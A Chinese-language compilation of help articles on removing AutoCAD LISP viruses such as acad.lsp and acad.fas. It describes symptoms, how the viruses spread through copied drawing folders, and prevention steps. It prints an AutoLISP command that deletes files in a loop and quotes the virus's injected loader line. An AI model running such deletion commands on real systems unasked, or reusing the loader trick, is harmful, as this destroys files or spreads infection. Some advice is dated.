四、总结CAD中毒可能导致数据损坏、系统崩溃和信息泄露等问题,因此,保护CAD 系统免受病毒侵害至关重要。
通过安装可靠的杀毒软件、更新操作系统和CAD软件、谨慎打开附件和下载文件、设置强密码和权限、定期备份CAD文件以及培训员工等措施,可以有效预防和解决CAD中毒问题。
AutoCAD病毒的处理方法
步骤一,请电脑部门把服务器和使用者电脑上的病毒文件”acad.vlx, acad.fas, acad.sys, acad.lsp ,dwgrun.bat“三种病毒文件找到后删除,运行KILLCAD.BA T.
步骤二,把杀毒程式“KillCAD.vlx”copy到presscad软件安装目录下的program资料夹下面. 步骤三,开启AUTOCAD软件输入AP命令”出现如下对话框
点选如上图所示红色按钮,出现如下图所示的对话框:
点选上图所示的红色按钮,加载步骤二所copy的程式.关闭CAD,以后每次启动CAD或开启图档时会自动阻止病毒的产生,对已感染的文件会自动清除病毒,但是已中毒的档案图元上的标签无法恢复。
现在反病毒程式在运行时遇到如下問題还要请相关部门协助解決.
1,有些電腦上面沒有按要求安裝此程式.
2,服務器上面的病毒,反病毒程式無法刪除,使用者電腦隻可以copy檔案到服務器的權限. 針對以上的問題煩請電腦中心清除服務器上面的病毒或通过防火墙设定上術病毒为不可通过的文件.
统赢公司
2007.12.11。
CAD病毒的解决方法①、关闭正在运行的AutoCAD及机械工程师CAD(切记!)②、打开“我的电脑”后,按F3键打开XP系统的文件搜索窗口,在整个硬盘上搜索并彻底删除以下文件:acad.fas;acad.lsp;acad.sys;acad.vlx;acadapp.lsp;lcm.fas;acaddoc.lspWIN764位搜索方法文件名:acad.fas OR acad.lsp OR acad.sys OR acad.vlx OR acadapp.lsp OR lcm.fas OR acaddoc.lsp注意:●“搜索范围”一定要选择“本机硬盘驱动器 (C:;D:;E:;F:)”。
●一定要先勾选“搜索选项”中的“高级选项”,将其下的“搜索子文件夹”及“搜索隐藏的文件及文件夹”项勾选上,否则不能将病毒文件全部搜索清除干净。
见下图●找到后全部删除(彻底删除shift+delete,只是删除到回收站不起作用)。
如果此时一个文件都没有找到,则说明您搜索的文件名称填写错误。
●保证AutoCAD文件夹下没有任何垃圾文件。
③、卸载AutoCAD及机械工程师CAD,删除AutoCAD安装路径。
④、再次搜索上述文件,找不到任何文件时(切记!),再重新安装AutoCAD 及机械工程师CAD。
该病毒症状:感染该病毒后,表现症状也不太相同,一般表现:●AutoCAD的炸开命令(Explode)、多行文字等出现异常。
●机械工程师CAD的许多命令显示为:未知命令。
●AutoCAD的插件命令无法正常使用。
●打开CAD后出现一信息:程序作者QQ:XXXXXXXXXX现在时间是:XX点XX分了的哦!好好干了啦!XX不会亏待你的!老板的眼睛是雪亮的啦!●打开原来的dwg图纸后,尺寸值发生了改变。
该病毒说明:这是一个专门针对CAD的病毒程序,不是传统意义上的病毒,因此,用瑞星、金山毒霸等是不能杀除的(目前)。
它的作用机制是这样的:某台机器上没有这个病毒程序,但在通过网上邻居或U盘拷贝别人的图纸时,大家经常会把整个目录拷贝过来,如果拷贝的这个目录中包含有acad.lsp和acad.vlx 等文件,你的机器就有了这个病毒,但是还没有起作用。
CAD中毒解决方案概述:CAD中毒是指计算机辅助设计软件(CAD)受到恶意软件或病毒的感染,导致软件运行异常或无法正常使用的问题。
本文将介绍CAD中毒的解决方案,包括防范措施和应急处理方法。
一、防范措施:1. 安装可信赖的CAD软件:选择正版软件或从官方网站下载软件,避免从不明来源或盗版网站下载CAD软件,以防感染恶意软件。
2. 及时更新软件:定期检查CAD软件的更新,及时安装最新的补丁和安全更新,以修复已知漏洞,提高软件的安全性。
3. 安装杀毒软件:选择一款可靠的杀毒软件,并保持其及时更新。
定期进行全盘扫描,以发现并清除潜在的恶意软件。
4. 谨慎打开附件:在收到来自不熟悉或可疑来源的电子邮件时,不要随意打开附件。
恶意软件常常通过电子邮件附件传播,点击或下载附件可能导致CAD中毒。
5. 建立安全意识:加强员工的安全意识培训,教育员工不随意下载和安装软件,不打开可疑链接和附件,以及如何识别和报告潜在的安全威胁。
二、应急处理方法:1. 断开网络连接:一旦发现CAD中毒的迹象,立即断开计算机与网络的连接,以防止恶意软件进一步传播和损害系统。
2. 使用杀毒软件进行扫描:如果已经安装了杀毒软件,运行全盘扫描以查找和清除恶意软件。
如果没有安装杀毒软件,可以使用可信赖的在线杀毒工具进行扫描和清除。
3. 恢复系统:如果发现CAD软件无法正常运行,可以尝试使用系统还原功能将计算机恢复到之前的正常状态。
如果系统还原无效,可以考虑重新安装CAD软件。
4. 密切关注系统行为:在CAD中毒后,密切关注计算机的行为,包括异常弹窗、系统崩溃、文件损坏等。
及时记录并报告这些异常行为,以便进一步分析和解决问题。
5. 寻求专业帮助:如果自行处理无效或不熟悉恶意软件的处理方法,建议寻求专业的计算机安全服务提供商或技术支持人员的帮助。
他们可以提供更专业的解决方案和支持。
总结:CAD中毒是一种常见的计算机安全问题,但通过采取防范措施和及时应对,可以最大程度地减少CAD中毒的风险。
CAD中毒解决方案标题:CAD中毒解决方案引言概述:CAD软件是工程设计领域中常用的工具,但有时候用户可能会遇到CAD中毒的问题。
CAD中毒指的是CAD软件受到病毒、恶意软件或者其他安全威胁的侵害,导致软件运行异常或数据丢失。
为了解决CAD中毒问题,本文将介绍一些解决方案。
一、及时更新防病毒软件1.1 确保防病毒软件是最新版本,及时更新病毒库,以提高检测和清除病毒的能力。
1.2 定期进行全盘扫描,检测系统中是否存在潜在的病毒威胁。
1.3 配置防病毒软件的实时保护功能,及时阻止病毒入侵。
二、备份CAD文件2.1 定期备份CAD文件到外部存储设备,确保即使CAD中毒,也能够恢复数据。
2.2 使用云存储服务备份CAD文件,以防止本地存储设备受到病毒攻击。
2.3 设置自动备份功能,确保数据备份的及时性和完整性。
三、谨慎下载和安装软件3.1 仅从官方网站或可信的来源下载CAD软件和插件,避免下载未经验证的软件。
3.2 在安装软件时,注意勾选自定义安装选项,避免安装附带恶意软件的插件。
3.3 定期清理系统中不常用的软件和插件,减少安全风险。
四、加强网络安全防护4.1 使用防火墙保护网络安全,阻止未经授权的访问和攻击。
4.2 定期更新操作系统和网络设备的补丁,修复已知的安全漏洞。
4.3 配置网络访问控制列表,限制外部设备对CAD软件的访问权限。
五、定期进行系统维护5.1 清理系统垃圾文件和临时文件,减少系统负担,提高系统性能。
5.2 更新操作系统和CAD软件至最新版本,修复已知的漏洞和BUG。
5.3 定期进行系统优化和磁盘碎片整理,保持系统稳定和高效运行。
总结:CAD中毒是一个常见的安全问题,但通过及时更新防病毒软件、备份CAD文件、谨慎下载和安装软件、加强网络安全防护以及定期进行系统维护,可以有效预防和解决CAD中毒问题,保护CAD软件和数据的安全。
希望本文介绍的解决方案能够帮助CAD用户更好地应对CAD中毒的挑战。
34.【关于explode命令无效的问题】
如果在CAD使用过程中,不能炸开图块了,先试一试能否炸开别的实体(如多行文本、填充图案等),如果能,说明是你所选择的实体本身不能被炸开(也可以在命令前加上.来测试是否可以炸开图块);如果不能,可能是感染了一个基于AutoLISP语言的病毒程序acad.lsp。
它的主要表现特征为打开任意一张图纸均不能炸开图块,即explode命令无效,给我们的工作带来了不少麻烦。
该病毒运行时将在所有打开过CAD图纸的目录下,生成acad.lsp病毒程序,并在CAD的安装目录Support下,生成acadapp.lsp病毒程序。
下面是清除该病毒的方法:
(1)打开系统的查找“文件或文件夹”对话框;
(2)在“文件或文件夹名”数据框中输入:acad.lsp;acadapp.lsp,acaddoc.lsp
(3)在“包含文字”数据框中输入:explode;
(4)在“搜索” 数据框中选择:所有硬盘驱动器;
(5)将搜索到的这两个文件全部删除后,问题就已经解决了。
注意:一定要将硬盘是的所有目录都搜索一遍,这样才能将病毒清除干净。
★补充:
那病毒文件的名字也可能叫Support \\ acadiso.lsp
下面是手动清理方法:
彻底的解决方案为:(主要是acad.fas程序文件)
清除方法是删除干净acad.fas与lcm.fas两个文件!
如果删除不净下次启动是还是会生成,包括隐藏文件请一定务必清理干净!
常见问题是C:\Program Files\autocad***目录(子目录)下的
acad.fas与lcm.fas是在全部查找时找不到的,请手动进入目录再行查找删除!
不想进去目录查找也可以输入下面的字符到CAD命令行:
(while (or (setq a (findfile "acad.fas")) (setq a (findfile "lcm.fas"))) (vl-file-delete a))
注意:上面红字一个字都不能少哦!这样就行了!
如果有文字编缉时出现记事本的现象,请将下面一行红字输入到命令行:
(setvar "mtexted" ".")
如何避免以后再次中招发作:
1.打开U盘/网络共享中的CAD文件时
请先查看文件目录下是不是有一个acad.fas文件!
如果发现有请删除!确认后再打开CAD文件!
2.你发给别人的CAD文件目录,
中如果有acad.fas请删除,以免别人也中招!
步骤:
1.删除CAD\support\acadapp.lsp;
2.分别用记事本打开CAD\support\acad.lsp和CAD\support\acad.mnl,
删除文件最后的(load "acadapp.lsp"),注意有可能有很多行;
3.搜索您的工作盘中的acad.lsp,凡是大小为4K的就删除。
搞定。
☆ 约定:CAD指你的CAD的安装目录,机器中安装了几个版本,每个版本都得检查;
☆ 如果你每次打开cad,目录中自动生成一个acad.lsp,就表示你的机器中招了,删除也不管用,因为它自己复制功能;
此病毒可能引起CAD中部分命令不能使用,严重的可能影响机器反映速度;
☆ 提示:为了防止中acad.lsp病毒,下次用别人的dwg文件时(K盘上此病毒很流行,大部分的目录都有),
看看此目录下面有没有acad.lsp文件,有的话,先删除再打开就没有问题。
、找到acad.mnl文件(一般在support文件夹内),如中招须用记事本(最好不要使用写字板或者word等高级文本编辑器)清除文件末尾的对应代码。
(load "acadapp.lsp")(princ) 其中acadapp也可能是acadiso,不过偶只看到过前者。
将acad.mnl也改为“只读”。
注意,此文件为AutoCAD运行所必须,不可删除!
以上所有改“只读”的目的均为防止日后再次感染,但如果要加装第三方软件,则最好临时取消它们的“只读”属性,待安装完成后再次改回“只读”。
否则可能导致第三方软件安装失败。
展望一下它(LISP代码病毒)的未来目前R14还没有退出市场,该病毒好像还比较最求“广谱”效果,这个就限制了它使用VLISP的热情,事实上它还完全没有使用VLISP函数。
虽然这并不等于说ALISP就不能造成很严重的破坏,但实现那些目标多少会让编程者觉得不爽,不如VLISP那么行云流水。
从它的作用效果看,眼下称之为“病毒”似有言过其实之嫌,但从它可以自我复制和传染扩散这方面特征来看,称之为“病毒”也属实事求是。
参照A V界(Anti-virus,不是日本的那个A V界)的习惯,不妨称之为“概念病毒”。
但是,只要有人愿意,它随时随地都可以变成能够删文件、格盘、改注册表的名副其实的“病毒”。
如果未来VLISP允许二进制读写,那么危险还会更大,所以希望Autodesk最好不要去做这样的功能扩展。
另外,也希望所有LISP开发人员和编程爱好者都能保持善良的人品,不要再写出为害大家的类似程序。
依俺管见,此程序只是个思路问题,技术含量不高,并不能体现出编程者的技术水平,何必要把心术放到这个方向上来呢
愿acad.lsp病毒的开发历程就此结束!
该病毒是以前那个炸开命令不能使用病毒的变种,它修改了这4个系统变量的值。